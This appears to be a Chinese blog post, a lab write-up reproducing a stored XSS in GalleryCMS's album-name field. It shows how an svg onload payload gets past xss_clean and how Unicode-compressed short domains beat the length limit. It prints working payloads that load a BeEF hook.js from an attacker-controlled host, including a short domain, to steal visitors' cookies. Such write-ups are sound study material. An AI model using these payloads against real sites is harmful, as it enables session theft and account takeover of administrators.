当前位置:网站首页>20字符短域名绕过复现
20字符短域名绕过复现
2022-07-27 20:03:00 【树迷了路】
一、前期准备
1.1 环境搭建
- GalleryCMS - 一个相册管理系统
- kali
- beef-xss平台 (kali自带,但2021和2022版没有)
1.2 地址配置
kali 地址:192.168.0.108
本机地址 :192.168.0.103
二、复现
2.1 未限制长度 56字符绕过测试
基础测试
首先用kali 访问本机IP 并打开GalleryCMS,创建一个影集“aaaa”,可看到aaaa处于一个<a>标签中

在GalleryCMS安装文件中查看源代码 application\controllers\album.php

注意144 行的过滤规则:过滤对端空格 | 必须插入字符 | 最大字符长度45 | xss_clean过滤框架
$this->form_validation->set_rules('album_name', 'Album Name', 'trim|required|max_length[45]|xss_clean');这里的xss_clean 主要就是过滤大量xss标签,并且禁用了所有的on开头属性,以及javascript伪协议等等操作
但有一点值得注意,它没有考虑svg标签
我们先用基础的script alert() 测试一下

不出所料,没有弹窗,被过滤了!<script> --> [removed]

我们再用 svg 标签测试,
<svg/onload=alert()>成功弹窗,代码被插入进<a>标签


不要疑惑为什么执着于弹窗,这只会弹窗看起来有点捞,这只是最开始的测试,在如果可以完成弹窗动作后,我们就可以尝试执行恶意JS代码。
但由于网站限制最大字符长度45,以及过滤了大量XSS 需要的变量,导致长度很难满足要求,为了能造成更大危害,我们必须要加载外部js。

这里有一点值得注意,GalleryCMS 的前端页面有 jquery,jquery支持$.getScript(),我们可以构造如下payload:
<svg/onload=$.getScript("//")>实操绕过
接下来我们开始使用beef工具,kali开启beef服务器,用浏览器打开192.168.0.108:3000/ui/panel,192.168.0.108:3000/hook.js。如下:

再构造如下payload
<svg/onload=$.getScript("//192.168.0.108:3000/hook.js")>- 此时一个新的问题产生,我们在GalleryCMS中添加如上payload影集名,其字符长度超过了45的限制,由于我们是在做白盒实验,所以我们直接更改后端代码限制为85,注意应同时修改数据库中的字符长度限制。


$this->form_validation->set_rules('album_name', 'Album Name', 'trim|required|max_length[85]|xss_clean');
再次尝试插入构造的payload
可见插入成功,同时浏览器已经运行我们的恶意JS,指向hook.js
此时beef以上线成功,我们已经可以看到用户cookie!


同时,我们已经可以再GalleryCMS的数据库中看到我们的恶意代码:

通过以上实验操作,我们可以清楚的看到存储型XSS的危险。如果管理员用户访问了我们的页面,恶意代码将在其电脑上执行,我们则可以获得管理员的cookie,这将造成非常严重的危害!!
当然我们现在是在内网做白盒测试,并且修改了源代码,接下来我们将升级过滤规则,实验更高难度的测试。
2.2 限制长度35字符绕过
问题梳理:
承接上文问题点,我们的beef 的payload 长度超过了45,实际环境中不可能让我们去修改源代码,因此解决长度问题成为我们的首要任务!
解决方式:
接下来我们尝试不用ip访问,注册一个短域名,把短域名绑定到我们的服务器上,给服务器装上bef,再把beef 的hook.js 写在网站的index.html上,将index.html 放到服务器上,这样访问我们的短域名则默认指向 index.html,即 将 "// XXXXX:3000/hook.js" 缩短至 "//XXXXX" ,这样即可最大化的缩短长度!
- 那么此时有将产生一个新的问题:我们要搞一个多短的域名呢?
- 像 a.cn / a.com / cbc.com 这样的短域名,都可以在北京买房了,明显是我们买不下的,成本忒高了!
这里我们先看一下35个字符能留给我们的只有aaaaa 这样 5 个字符的发挥空间。
![]()
此时字符长度仍是我们最大的问题,貌似像abc.cn 这样的5 字符短域名我们是买法买下的,但凡事都不绝对,一切皆有可能:”Exploiting XSS with 20 characters limitation“,这是一个外国大佬写的关于 20 字符绕过的文章,里面涉及到如下奇怪的技术:
ff expands to `ff`
℠ expands to `sm`
㏛ expands to `sr`
st expands to `st`
㎭ expands to `rad`
℡ expands to `tel`- 利用Unicode兼容性实现XSS漏洞
- 在Unicode字符下,像 ℡ 这个字符被浏览器视为一个字符
既然有这种骚操作,我们的可操作性将大大增加。例如:我们可以注册一个 telff.cn 这样的域名,浏览器会将tel和ff 视为两个字符,总共就是5个字符!这样就满足了我们上文提到的5个字符的发挥空间!

绕过实操
首先我这里用到老师提供的服务器(112.112.225.45)及telsr.co这个域名。(感谢我的周老师!)
服务器上已经配置了beef,我们直接开启beef服务,浏览器进入客户端

将hook.js 写在telsr.co 根目录index.html中,这样访问将直接指向hook.js。效果如下

最后,在CMS创建影集名 <svg/οnlοad=$.getScript("//℡㏛ .co")>
创建成功,可见指向了我们的beef服务器

beef客户端,成功上线,直接拿到cookie。至此,35字符 svg绕过实现XSS复现。
2.2 限制长度20字符绕过
正在整理,稍后更新,敬请期待
边栏推荐
- Analysis on data collection and analysis of network security competition in national vocational college skill competition
- 2022/5/31考试总结
- Maximum sum of jz42 continuous subarray (force buckle) (GIF diagram)
- Video human behavior detection
- electromagnetic relay
- android 11 安全策略及权限管理
- `What is the difference between SSH -y` (trusted X11 forwarding) and 'SSH -x` (untrusted X11 forwarding)?
- Purple light FPGA solves the mask problem! Boost the overall speed-up of mask production
- 【无标题】
- 10 years of technical career, those technical books that make me excited
猜你喜欢

High frequency relay

The purpose of DDD to divide domains, sub domains, core domains, and support domains

Principle and application of CMOS transmission gate

Analysis on data collection and analysis of network security competition in national vocational college skill competition

51单片机内部外设:实时时钟(SPI)

解决ip地址访问末位奇数通偶数不通,或者偶数通奇数不通的问题(云加密机连接云服务器时遇到的问题,全程记录,希望能给大佬们灵感)

Credit default prediction based on simplified scorecard, smote sampling and random forest

Optocoupler relay

什么是私域流量?

The follow-up is coming. Whether it's OK without reference, let's make it clear to everyone at once!
随机推荐
Iptables learning
美国疫情扩散到28个州:苹果、微软等10多万员工在家办公,iPhone11快断货了!
RN搜索高亮显示
2022/5/31考试总结
Video human behavior detection
[OBS] P B frame loss threshold buffer_ duration_ usec
PyQt5快速开发与实战 4.9 对话框类控件
It is said that Intel will adopt TSMC 6nm EUV process next year
High frequency relay
Understanding and use of third-party library
CMOS switch (II)_ Parameter extraction
Markdown extended syntax
Starfish OS X metabell strategic cooperation, metauniverse business ecosystem further
[NOI2018] 冒泡排序(组合+卡特兰数+dp+树状数组)
When type= 'number' is set in the input field, remove the up and down buttons behind it
解决ip地址访问末位奇数通偶数不通,或者偶数通奇数不通的问题(云加密机连接云服务器时遇到的问题,全程记录,希望能给大佬们灵感)
SQL injection less26a (Boolean blind injection)
深度剖析 —— 文件操作
2022 / July daily report
Multi tenant SaaS cloud platform framework